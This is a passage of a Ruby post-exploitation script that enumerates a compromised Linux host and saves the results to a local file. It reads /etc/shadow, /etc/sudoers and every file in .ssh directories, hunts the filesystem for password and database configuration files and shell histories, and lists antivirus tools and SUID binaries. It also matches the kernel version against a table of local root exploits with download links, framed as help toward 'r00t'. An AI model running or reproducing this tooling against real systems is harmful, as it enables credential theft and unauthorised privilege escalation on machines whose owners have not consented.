130 | puts "#{HC}#{FGRN}Whoami#{FWHT}: #{whoami[0].strip}#{RS}"
131 | puts "#{HC}#{FGRN}UID#{FWHT}: #{uid}#{RS}"
132 | puts "#{HC}#{FGRN}EUID#{FWHT}: #{euid}#{RS}"
133 | puts "#{HC}#{FGRN}User Home Directory#{FWHT}: #{home[0].strip}#{RS}"
134 | puts "#{HC}#{FGRN}Current Working Dir#{FWHT}: #{pwd[0].strip}#{RS}"
135 | puts "#{HC}#{FGRN}Kernel/Build#{FWHT}: #{uname[0].strip}#{RS}"
136 | puts
137 |
138 | f = File.new("inf0rm3d.txt", "a+")
139 | f.puts "Hostname: #{host[0].strip}"
140 | f.puts "System Uptime: #{uptime[0].strip}"
141 | f.puts "Current Shell in Use: #{shell[0].strip}"
142 | f.puts "Logged In User: #{user}"
143 | f.puts "Whoami: #{whoami[0].strip}"
144 | f.puts "UID: #{uid}"
145 | f.puts "EUID: #{euid}"
146 | f.puts "User Home Directory: #{home[0].strip}"
147 | f.puts "Current Working Dir: #{pwd[0].strip}"
148 | f.puts "Kernel/Build: #{uname[0].strip}"
149 | f.puts
150 | f.close
151 | end
152 |
153 | def closer
154 | puts "\n#{HC}#{FGRN}Bye Now#{FWHT}!#{RS}\n\n"
155 | f = File.new("inf0rm3d.txt", "a+")
156 | f.puts
157 | f.puts "Bye Now!"
158 | f.puts
159 | f.close
160 | end
161 |
162 | def cls #A quick method to clear the whole terminal
163 | system('clear')
164 | end
165 |
166 | def commandz(foo)
167 | bar = IO.popen("#{foo}")
168 | foobar = bar.readlines
169 | return foobar
170 | end
171 |
172 | def fileInfo
173 | mem = commandz('free --lohi --human')
174 | mountz = commandz('mount')
175 | sizez = commandz('df -h')
176 |
177 | f = File.new("inf0rm3d.txt", "a+")
178 | f.puts "FILESYSTEM INFO: "
179 | puts "#{HC}#{FGRN}FILESYSTEM INFO#{FWHT}: #{RS}"
180 | if not mountz.empty?
181 | f.puts "Mounts: "
182 | puts "#{HC}#{FGRN}Mounts#{FWHT}: "
183 | mountz.each do |entry|
184 | puts "#{entry.strip}"
185 | f.puts "#{entry.strip}"
186 | end
187 | puts "#{RS}"
188 | f.puts
189 | end
190 | if not sizez.empty?
191 | f.puts "Disk Space: "
192 | puts "#{HC}#{FGRN}Disk Space#{FWHT}: "
193 | sizez.each do |entry|
194 | puts "#{entry.strip}"
195 | f.puts "#{entry.strip}"
196 | end
197 | puts "#{RS}"
198 | f.puts
199 | end
200 | if not mem.empty?
201 | f.puts "Memory Space: "
202 | puts "#{HC}#{FGRN}Memory Space#{FWHT}: "
203 | mem.each do |entry|
204 | puts "#{entry.strip}"
205 | f.puts "#{entry.strip}"
206 | end
207 | puts "#{RS}"
208 | f.puts
209 | end
210 | f.close
211 | end
212 |
213 | def getAV
214 | tools = commandz('whereis avast bastille bulldog chkrootkit clamav firestarter iptables jailkit logrotate logwatch lynis pwgen rkhunter snort tiger truecrypt ufw webmin')
215 |
216 | if not tools.empty?
217 | f = File.new("inf0rm3d.txt", "a+")
218 | f.puts
219 | puts
220 | f.puts "Possible Security/AV Found: "
221 | puts "#{HC}#{FGRN}Possible Security/AV Found#{FWHT}: "
222 | tools.each do |entry|
223 | puts "#{entry.strip}"
224 | f.puts "#{entry.strip}"
225 | end
226 | puts "#{RS}"
227 | f.puts
228 | f.close
229 | end
230 | end
231 |
232 | def getKernelSploits
233 | known_sploits=Hash.new
234 | known_sploits = {
235 | "do_brk" => { "CVE" => "2003-0961", "versions" => ["2.4.0-2.4.22"], "exploits" => ["131"] },
236 | "mremap missing do_munmap" => { "CVE" => "2004-0077", "versions" => ["2.2.0-2.2.25", "2.4.0-2.4.24", "2.6.0-2.6.2"], "exploits" => ["160"] },
237 | "binfmt_elf Executable File Read" => { "CVE" => "2004-1073", "versions" => ["2.4.0-2.4.27", "2.6.0-2.6.8"], "exploits" => ["624"] },
238 | "uselib()" => { "CVE" => "2004-1235", "versions" => ["2.4.0-2.4.29rc2", "2.6.0-2.6.10rc2"], "exploits" => ["895"] },
239 | "bluez" => { "CVE" => "2005-1294", "versions" => ["2.6.0-2.6.11.5"], "exploits" => ["4756", "926"] },
240 | "prctl()" => { "CVE" => "2006-2451", "versions" => ["2.6.13-2.6.17.4"], "exploits" => ["2031", "2006", "2011", "2005", "2004"] },
241 | "proc" => { "CVE" => "2006-3626", "versions" => ["2.6.0-2.6.17.4"], "exploits" => ["2013"] },
242 | "system call emulation" => { "CVE" => "2007-4573", "versions" => ["2.4.0-2.4.30", "2.6.0-2.6.22.7"], "exploits" => ["4460"] },
243 | "vmsplice" => { "CVE" => "2008-0009", "versions" => ["2.6.17-2.6.24.1"], "exploits" => ["5092", "5093"] },
244 | "ftruncate()/open()" => { "CVE" => "2008-4210", "versions" => ["2.6.0-2.6.22"], "exploits" => ["6851"] },
245 | "eCryptfs (Paokara)" => { "CVE" => "2009-0269", "versions" => ["2.6.19-2.6.31.1"], "exploits" => ["spender"] },
246 | "set_selection() UTF-8 Off By One" => { "CVE" => "2009-1046", "versions" => ["2.6.0-2.6.28.3"], "exploits" => ["9083"] },
247 | "UDEV < 141" => { "CVE" => "2009-1185", "versions" => ["2.6.25-2.6.30"], "exploits" => ["8478", "8572"] },
248 | "exit_notify()" => { "CVE" => "2009-1337", "versions" => ["2.6.0-2.6.29"], "exploits" => ["8369"] },
249 | "ptrace_attach() Local Root Race Condition" => { "CVE" => "2009-1527", "versions" => ["2.6.29"], "exploits" => ["8678", "8673"] },
250 | "sock_sendpage() (Wunderbar Emporium)" => { "CVE" => "2009-2692", "versions" => ["2.6.0-2.6.31rc3", "2.4.0-2.4.37.1"], "exploits" => ["9641", "9545", "9479", "9436", "9435", "spender"] },
251 | "udp_sendmsg() (The Rebel)" => { "CVE" => "2009-2698", "versions" => ["2.6.0-2.6.9.2"], "exploits" => ["9575", "9574", "spender3"] },
252 | "(32bit) ip_append_data() ring0" => { "CVE" => "2009-2698", "versions" => ["2.6.0-2.6.9"], "exploits" => ["9542"] },
253 | "perf_counter_open() (Powerglove and Ingo m0wnar)" => { "CVE" => "2009-3234", "versions" => ["2.6.31"], "exploits" => ["spender"] },
254 | "pipe.c (MooseCox)" => { "CVE" => "2009-3547", "versions" => ["2.6.0-2.6.32rc5", "2.4.0-2.4.37"], "exploits" => ["10018", "spender"] },
255 | "CPL 0" => { "CVE" => "2010-0298", "versions" => ["2.6.0-2.6.11"], "exploits" => ["1397"] },
256 | "ReiserFS xattr" => { "CVE" => "2010-1146", "versions" => ["2.6.0-2.6.34rc3"], "exploits" => ["12130"] },
257 | "Unknown" => { "CVE" => 'nil', "versions" => ["2.6.18-2.6.20"], "exploits" => ["10613"] },
258 | "SELinux/RHEL5 (Cheddar Bay)" => { "CVE" => 'nil', "versions" => ["2.6.9-2.6.30"], "exploits" => ["9208", "9191", "spender"] },
259 | "compat" => { "CVE" => "2010-3301", "versions" => ["2.6.27-2.6.36rc4"], "exploits" => ["15023", "15024"] },
260 | "BCM" => { "CVE" => "2010-2959", "versions" => ["2.6.0-2.6.36rc1"], "exploits" => ["14814"] },
261 | "RDS protocol" => { "CVE" => "2010-3904", "versions" => ["2.6.0-2.6.36rc8"], "exploits" => ["15285"] },
262 | "put_user() - full-nelson" => { "CVE" => "2010-4258", "versions" => ["2.6.0-2.6.37"], "exploits" => ["15704"] },
263 | "sock_no_sendpage() - full-nelson" => { "CVE" => "2010-3849", "versions" => ["2.6.0-2.6.37"], "exploits" => ["15704"] },
264 | "ACPI custom_method" => { "CVE" => "2010-4347", "versions" => ["2.6.0-2.6.37rc2"], "exploits" => ["15774"] },
265 | "CAP_SYS_ADMIN" => { "CVE" => "2010-4347", "versions" => ["2.6.34-2.6.37"], "exploits" => ["15916", "15944"] },
266 | "econet_sendmsg() - half-nelson" => { "CVE" => "2010-3848", "versions" => ["2.6.0-2.6.36.2"], "exploits" => ["17787"] },
267 | "ec_dev_ioctl() - half-nelson" => { "CVE" => "2010-3850", "versions" => ["2.6.0-2.6.36.2"], "exploits" => ["17787", "15704"] },
268 | "Mempodipper" => { "CVE" => "2012-0056", "versions" => ["2.6.39-3.1"], "exploits" => ["18411", "mempo"]},
269 | "Archlinux x86-64 sock_diag_handlers[]" => { "CVE" => "2013-1763", "versions" => ["3.3-3.7"], "exploits" => ["24555"]},
270 | "Fedora 18 x86-64 sock_diag_handlers[]" => { "CVE" => "2013-1763", "versions" => ["3.3-3.7"], "exploits" => ["ps1"]},
271 | "Ubuntu 12.10 64-Bit sock_diag_handlers[]" => { "CVE" => "2013-1763", "versions" => ["3.3-3.7"], "exploits" => ["24746"]},
272 | "ipc - half-nelson" => { "CVE" => "2010-4073", "versions" => ["2.6.0-2.6.37rc1"], "exploits" => ["17787"] }
273 | }
274 | k = commandz('uname -r')[0].chomp
275 | specialk = k.split('-')[0] #just a generic check so we dont care about the trailing aspects in this case, comes into play for manual review....
276 | exploit_db = "http://www.exploit-db.com/exploits/"
277 | mempo = "http://git.zx2c4.com/CVE-2012-0056/snapshot/CVE-2012-0056-master.zip"
278 | spender = "http://www.securityfocus.com/data/vulnerabilities/exploits/36423.tgz"
279 | ps1 = "http://packetstormsecurity.com/files/download/120784/fedora-sockdiag.c"
280 | f = File.new("inf0rm3d.txt", "a+")
281 | f.puts "Possible Exploits: "
282 | puts "#{HC}#{FGRN}Possible Exploits#{FWHT}: #{RS}"
283 | known_sploits.each do |key, value|
284 | versions = value["versions"]
285 | vsize = versions.size
286 | count=0
287 | @found=0
288 | while count.to_i < vsize.to_i
289 | versions.each do |v|
290 | if v =~ /-/
291 | vrange = v.split('-')
292 | min = vrange[0]
293 | max = vrange[1]
294 | else
295 | min = v
296 | max = v
297 | end
298 | if specialk.to_f >= min.to_f and specialk.to_f <= max.to_f
299 | foo = specialk.split('.')
300 | foo.shift
301 | kfoo = foo.join('.')
302 |
303 | foo = min.split('.')
304 | foo.shift
305 | minfoo = foo.join('.')
306 |
307 | foo = max.split('.')
308 | foo.shift
309 | maxfoo = foo.join('.')
310 |
311 | if kfoo.to_f >= minfoo.to_f and kfoo.to_f <= maxfoo.to_f
312 | @found = @found.to_i + 1
313 | cve = value["CVE"]
314 | exploit = value["exploits"]
315 | puts "#{HC}#{FGRN}Kernel#{FWHT}: #{k}#{RS}"
316 | puts "#{HC}#{FGRN}Possible Exploit#{FWHT}: #{key}#{RS}"
317 | puts "#{HC}#{FGRN}CVE#{FWHT}: #{cve}#{RS}"
318 | puts "#{HC}#{FGRN}Versions Affected#{FWHT}: #{versions.join(', ')}#{RS}"
319 | puts "#{HC}#{FGRN}Downloads Available for Possible Exploit#{FWHT}: "
320 | f.puts "Kernel: #{k}"
321 | f.puts "Possible Exploit: #{key}"
322 | f.puts "CVE: #{cve}"
323 | f.puts "Versions Affected: #{versions.join(', ')}"
324 | f.puts "Downloads Available for Possible Exploit: "
325 | exploit.each do |sploit|
326 | if sploit == "spender"
327 | puts "#{spender}"
328 | f.puts "#{spender}"
329 | elsif sploit == "mempo"
330 | puts "#{mempo}"
331 | f.puts "#{mempo}"
332 | elsif sploit == "ps1"
333 | puts "#{ps1}"
334 | f.puts "#{ps1}"
335 | else
336 | puts "#{exploit_db}#{sploit}"
337 | f.puts "#{exploit_db}#{sploit}"
338 | end
339 | end
340 | puts "#{RS}"
341 | f.puts
342 | end
343 | end
344 | count = count.to_i + 1
345 | end
346 | end
347 | end
348 | if @found.to_i == 0
349 | puts "#{HC}#{FWHT}Sorry, didn't find any matching exploits for kernel#{FGRN}....#{RS}"
350 | f.puts "Sorry, didn't find any matching exploits for kernel...."
351 | else
352 | puts "#{HC}#{FWHT}Hopefully you can use the above to help find your way to r00t#{FGRN}....#{RS}"
353 | f.puts "Hopefully you can use the above to help find your way to r00t...."
354 | end
355 | puts
356 | f.puts
357 | f.close
358 | end
359 |
360 | def getPassAndConfigs
361 | f = File.new("inf0rm3d.txt", "a+")
362 | puts "#{HC}#{FGRN}Checking for Password & Config Files#{FWHT}....#{RS}"
363 | f.puts "Password & Config Files:"
364 | puts "#{HC}#{FGRN}ALL config.php Files#{FWHT}:#{RS}"
365 | f.puts "ALL config.php Files:"
366 | Dir.glob('/**/config.php') do |gold|
367 | puts "#{HC}#{FWHT}#{gold.chomp}#{RS}"
368 | f.puts "#{gold.chomp}"
369 | print ""
370 | f.print
371 | end
372 | puts
373 | f.puts
374 | puts "#{HC}#{FGRN}ALL config.inc.php Files#{FWHT}:#{RS}"
375 | f.puts "ALL config.inc.php Files:"
376 | Dir.glob('/**/config.inc.php') do |gold|
377 | puts "#{HC}#{FWHT}#{gold.chomp}#{RS}"
378 | f.puts "#{gold.chomp}"
379 | print ""
380 | f.print
381 | end
382 | puts
383 | f.puts
384 | puts "#{HC}#{FGRN}ALL wp-config.php Files#{FWHT}:#{RS}"
385 | f.puts "ALL wp-config.php Files:"
386 | Dir.glob('/**/wp-config.php') do |gold|
387 | puts "#{HC}#{FWHT}#{gold.chomp}#{RS}"
388 | f.puts "#{gold.chomp}"
389 | print ""
390 | f.print
391 | end
392 | puts
393 | f.puts
394 | puts "#{HC}#{FGRN}ALL db.php Files#{FWHT}:#{RS}"
395 | f.puts "ALL db.php Files:"
396 | Dir.glob('/**/db.php') do |gold|
397 | puts "#{HC}#{FWHT}#{gold.chomp}#{RS}"
398 | f.puts "#{gold.chomp}"
399 | print ""
400 | f.print
401 | end
402 | puts
403 | f.puts
404 | puts "#{HC}#{FGRN}ALL db-conn.php Files#{FWHT}:#{RS}"
405 | f.puts "ALL db-conn.php Files:"
406 | Dir.glob('/**/db-conn.php') do |gold|
407 | puts "#{HC}#{FWHT}#{gold.chomp}#{RS}"
408 | f.puts "#{gold.chomp}"
409 | print ""
410 | f.print
411 | end
412 | puts
413 | f.puts
414 | puts "#{HC}#{FGRN}ALL sql.php Files#{FWHT}:#{RS}"
415 | f.puts "ALL sql.php Files:"
416 | Dir.glob('/**/sql.php') do |gold|
417 | puts "#{HC}#{FWHT}#{gold.chomp}#{RS}"
418 | f.puts "#{gold.chomp}"
419 | print ""
420 | f.print
421 | end
422 | puts
423 | f.puts
424 | puts "#{HC}#{FGRN}ALL security.php Files#{FWHT}:#{RS}"
425 | f.puts "ALL security.php Files:"
426 | Dir.glob('/**/security.php') do |gold|
427 | puts "#{HC}#{FWHT}#{gold.chomp}#{RS}"
428 | f.puts "#{gold.chomp}"
429 | print ""
430 | f.print
431 | end
432 | puts
433 | f.puts
434 | puts "#{HC}#{FGRN}ALL service.pwd Files#{FWHT}:#{RS}"
435 | f.puts "ALL service.pwd Files:"
436 | Dir.glob('/**/service.pwd') do |gold|
437 | puts "#{HC}#{FWHT}#{gold.chomp}#{RS}"
438 | f.puts "#{gold.chomp}"
439 | print ""
440 | f.print
441 | end
442 | puts
443 | f.puts
444 | puts "#{HC}#{FGRN}ALL .htpasswd Files#{FWHT}:#{RS}"
445 | f.puts "ALL .htpasswd Files:"
446 | Dir.glob('/**/.htpasswd') do |gold|
447 | puts "#{HC}#{FWHT}#{gold.chomp}#{RS}"
448 | f.puts "#{gold.chomp}"
449 | print ""
450 | f.print
451 | end
452 | puts
453 | f.puts
454 | puts "#{HC}#{FGRN}ALL .sql Database Files#{FWHT}:#{RS}"
455 | f.puts "ALL .sql Database Files:"
456 | Dir.glob('/**/*.sql') do |gold|
457 | puts "#{HC}#{FWHT}#{gold.chomp}#{RS}"
458 | f.puts "#{gold.chomp}"
459 | print ""
460 | f.print
461 | end
462 | puts
463 | f.puts
464 | puts "#{HC}#{FGRN}ALL .bash_history Files#{FWHT}:#{RS}"
465 | f.puts "ALL .bash_history Files:"
466 | Dir.glob('/**/.bash_history') do |gold|
467 | puts "#{HC}#{FWHT}#{gold.chomp}#{RS}"
468 | f.puts "#{gold.chomp}"
469 | print ""
470 | f.print
471 | end
472 | puts
473 | f.puts
474 | f.puts "ALL config.* Files:"
475 | Dir.glob('/**/config.*') do |gold|
476 | f.puts "#{gold.chomp}"
477 | print ""
478 | f.print
479 | end
480 | f.close
481 | end
482 |
483 | def getSSH
484 | f = File.new("inf0rm3d.txt", "a+")
485 | puts "#{HC}#{FGRN}SSH Goodness#{FWHT}: "
486 | f.puts "SSH Goodness: "
487 | Dir.glob('/**/.ssh/*') do |gold|
488 | puts "#{HC}#{FGRN}#{gold}#{FWHT}: "
489 | f.puts "#{gold}: "
490 | content = commandz("cat #{gold} 2> /dev/null")
491 | content.each do |line|
492 | puts "#{line.strip}"
493 | f.puts "#{line.strip}"
494 | end
495 | puts "#{RS}"
496 | f.puts
497 | end
498 | f.close
499 | end
500 |
501 | def interestingStuff
502 | f = File.new("inf0rm3d.txt", "a+")
503 | f.puts "INTERESTING INFO: "
504 | puts "#{HC}#{FGRN}INTERESTING INFO#{FWHT}: #{RS}"
505 |
506 | writable = commandz('find / -type d -perm -2 -ls 2> /dev/null')
507 | if not writable.empty?
508 | puts "#{HC}#{FGRN}World Writable Directories#{FWHT}: "
509 | f.puts "World Writable Directories: "
510 | writable.each do |entry|
511 | puts "#{entry.strip}"
512 | f.puts "#{entry.strip}"
513 | end
514 | puts "#{RS}"
515 | f.puts
516 | sleep 2
517 | end
518 |
519 | suid = commandz('find / -type f -perm -04000 -ls 2> /dev/null')
520 | if not suid.empty?
521 | puts "#{HC}#{FGRN}SUID Files#{FWHT}: "
522 | f.puts "SUID Files: "
523 | suid.each do |entry|
524 | puts "#{entry.strip}"
525 | f.puts "#{entry.strip}"
526 | end
527 | puts "#{RS}"
528 | f.puts
529 | sleep 2
530 | end
531 |
532 | guid = commandz('find / -type f -perm -02000 -ls 2> /dev/null')
533 | if not guid.empty?
534 | puts "#{HC}#{FGRN}GUID Files#{FWHT}: "
535 | f.puts "GUID Files: "
536 | guid.each do |entry|
537 | puts "#{entry.strip}"
538 | f.puts "#{entry.strip}"
539 | end
540 | puts "#{RS}"
541 | f.puts
542 | end
543 | f.close
544 |
545 | getSSH
546 | getPassAndConfigs
547 |
548 | sudos = commandz('cat /etc/sudoers')
549 | if not sudos.empty?
550 | puts "#{HC}#{FGRN}/etc/sudoers Content#{FWHT}: "
551 | f = File.new("inf0rm3d.txt", "a+")
552 | f.puts
553 | f.puts "/etc/sudoers Content: "
554 | sudos.each do |line|
555 | puts "#{line.strip}"
556 | f.puts "#{line.strip}"
557 | end
558 | f.puts
559 | f.close
560 | sleep 2
561 | end
562 | end
563 |
564 | def miscInfo
565 | logz = commandz('ls -lRa /var/log')
566 | etcls = commandz('ls -lRa /etc')
567 | tmp = commandz('ls -lRa /tmp')
568 | lgmsgz = commandz('cat /var/log/messages')
569 | last = commandz('last -50')
570 |
571 | f = File.new("inf0rm3d.txt", "a+")
572 | f.puts "MISC INFO: "
573 | f.puts "Cron Jobs: "
574 | Dir.glob('/etc/cron*') do |gold|
575 | f.puts "#{gold}: "
576 | f.puts
577 | end
578 | if not logz.empty?
579 | f.puts "/var/log content: "
580 | logz.each do |entry|
581 | f.puts "#{entry.strip}"
582 | end
583 | f.puts
584 | end
585 | if not etcls.empty?
586 | f.puts "/etc content: "
587 | etcls.each do |entry|
588 | f.puts "#{entry.strip}"
589 | end
590 | f.puts
591 | end
592 | if not tmp.empty?
593 | f.puts "/tmp content: "
594 | tmp.each do |entry|
595 | f.puts "#{entry.strip}"
596 | end
597 | f.puts
598 | end
599 | if not lgmsgz.empty?
600 | f.puts "/var/log/messages content: "
601 | lgmsgz.each do |entry|
602 | f.puts "#{entry.strip}"
603 | end
604 | f.puts
605 | end
606 | if not last.empty?
607 | f.puts "Last 50 logins: "
608 | last.each do |entry|
609 | f.puts "#{entry.strip}"
610 | end
611 | f.puts
612 | end
613 | f.close
614 | end
615 |
616 | def networkInfo
617 | interfaces = `/sbin/ifconfig -a 2> /dev/null`
618 | hosts = commandz('cat /etc/hosts')
619 | resolvers = commandz('cat /etc/resolv.conf 2> /dev/null')
620 | route = commandz('route 2> /dev/null')
621 | ports = commandz('netstat -lpn 2> /dev/null')
622 | listening = commandz('netstat -n --listen 2> /dev/null')
623 | procs = commandz('ps axuw')
624 |
625 | puts "#{HC}#{FGRN}Known Interfaces#{FWHT}:#{RS}"
626 | system('/sbin/ifconfig -a 2> /dev/null')
627 | f = File.new("inf0rm3d.txt", "a+")
628 | f.puts "NETWORK INFO: "
629 | f.puts "Known Interfaces:"
630 | f.puts interfaces
631 | f.puts
632 | if not resolvers.empty?
633 | puts "#{HC}#{FGRN}resolv.conf Content#{FWHT}:"
634 | f.puts "resolv.conf Content:"
635 | resolvers.each do |entry|
636 | puts "#{entry.strip}"
637 | f.puts "#{entry.strip}"
638 | end
639 | puts "#{RS}"
640 | f.puts
641 | end
642 | if not hosts.empty?
643 | f.puts "/etc/hosts Content:"
644 | hosts.each do |entry|
645 | f.puts "#{entry.strip}"
646 | end
647 | f.puts
648 | end
649 | if not route.empty?
650 | f.puts "Routing Table:"
651 | route.each do |entry|
652 | f.puts "#{entry.strip}"
653 | end
654 | f.puts
655 | end
656 | if not ports.empty?
657 | puts "#{HC}#{FGRN}Netstat - Open Ports and Services#{FWHT}:"
658 | f.puts "Netstat - Open Ports and Services:"
659 | ports.each do |entry|
660 | puts "#{entry.strip}"
661 | f.puts "#{entry.strip}"
662 | end
663 | puts "#{RS}"
664 | f.puts
665 | sleep 1
666 | end
667 | if not listening.empty?
668 | f.puts "Listening Ports:"
669 | listening.each do |entry|
670 | f.puts "#{entry.strip}"
671 | end
672 | f.puts
673 | end
674 | if not procs.empty?
675 | f.puts "Process listing:"
676 | procs.each do |entry|
677 | f.puts "#{entry.strip}"
678 | end
679 | f.puts
680 | end
681 | f.close
682 | end
683 |
684 | def toolz
685 | tools = commandz('which curl gcc java lynx nc ncat netcat nmap ftp perl php proxychains python ruby tcpdump wget wireshark')
686 | gcc = commandz('gcc --version')
687 | mysql = commandz('mysql --version')
688 | perl = commandz('perl -v')
689 | php = commandz('php --version')
690 | ruby = commandz('ruby -v ')
691 | java = commandz('foo=$(java -version 2>&1); echo $foo;')
692 | python = commandz('foo=$(python -V 2>&1); echo $foo;')
693 |
694 | f = File.new("inf0rm3d.txt", "a+")
695 | f.puts
696 | puts
697 | f.puts "LOCAL TOOLS: "
698 | puts "#{HC}#{FGRN}LOCAL TOOLS#{FWHT}: "
699 | if not tools.empty?
700 | tools.each do |entry|
701 | puts "#{entry.strip}"
702 | f.puts "#{entry.strip}"
703 | end
704 | end
705 | puts "#{RS}"
706 | f.puts
707 | puts "#{HC}#{FGRN}Version Info#{FWHT}: "
708 | f.puts "Version Info: "
709 | if not gcc.empty?
710 | gcc.each do |entry|
711 | puts "#{entry.strip}"
712 | f.puts "#{entry.strip}"
713 | end
714 | end
715 | if not mysql.empty?
716 | mysql.each do |entry|
717 | puts "#{entry.strip}"
718 | f.puts "#{entry.strip}"
719 | end
720 | end
721 | if not perl.empty?
722 | perl.each do |entry|
723 | puts "#{entry.strip}"
724 | f.puts "#{entry.strip}"
725 | end
726 | end
727 | if not python.empty?
728 | python.each do |entry|
729 | puts "#{entry.strip}"
730 | f.puts "#{entry.strip}"
731 | end
732 | end
733 | puts
734 | f.puts
735 | if not java.empty?
736 | java.each do |entry|
737 | puts "#{entry.strip}"
738 | f.puts "#{entry.strip}"
739 | end
740 | end
741 | puts
742 | f.puts
743 | if not php.empty?
744 | php.each do |entry|
745 | puts "#{entry.strip}"
746 | f.puts "#{entry.strip}"
747 | end
748 | end
749 | puts
750 | f.puts
751 | if not ruby.empty?
752 | ruby.each do |entry|
753 | puts "#{entry.strip}"
754 | f.puts "#{entry.strip}"
755 | end
756 | end
757 | puts "#{RS}"
758 | f.puts
759 | f.close
760 | end
761 |
762 | def userInfo
763 | userCount = commandz('cat /etc/passwd | /usr/bin/wc -l')
764 | shadow = commandz('cat /etc/shadow 2> /dev/null')
765 | users = commandz('cat /etc/passwd')
766 | group = commandz('cat /etc/group')
767 |
768 | puts "#{HC}#{FGRN}USER INFO#{FWHT}: #{RS}"
769 | puts "#{HC}#{FGRN}Number of user accounts#{FWHT}: #{userCount[0].strip}#{RS}"
770 |
771 | f = File.new("inf0rm3d.txt", "a+")
772 | f.puts "USER INFO: "
773 | f.puts "Number of user accounts: #{userCount[0].strip}"
774 | if not shadow.empty?
775 | puts "#{HC}#{FGRN}/etc/shadow Content#{FWHT}:"
776 | f.puts "/etc/shadow Content:"
777 | shadow.each do |entry|
778 | puts "#{entry.strip}"
779 | f.puts "#{entry.strip}"
780 | end
781 | puts "#{RS}"
782 | f.puts
783 | sleep 2
784 | end
785 | if not users.empty?
786 | puts "#{HC}#{FGRN}/etc/passwd Content#{FWHT}:"
787 | f.puts "/etc/passwd Content:"
788 | users.each do |entry|
789 | puts "#{entry.strip}"
790 | f.puts "#{entry.strip}"
791 | end
792 | puts "#{RS}"
793 | f.puts
794 | sleep 2
795 | end
796 | if not group.empty?
797 | f.puts "/etc/group Content:"
798 | puts "#{HC}#{FGRN}/etc/group Content#{FWHT}:"
799 | group.each do |entry|
800 | puts "#{entry.strip}"
801 | f.puts "#{entry.strip}"
802 | end
803 | puts "#{RS}"
804 | f.puts
805 | sleep 2
806 | end
807 | f.close
808 | end
809 |
810 | all_sys_enum
811 | #EOF
812 |
--------------------------------------------------------------------------------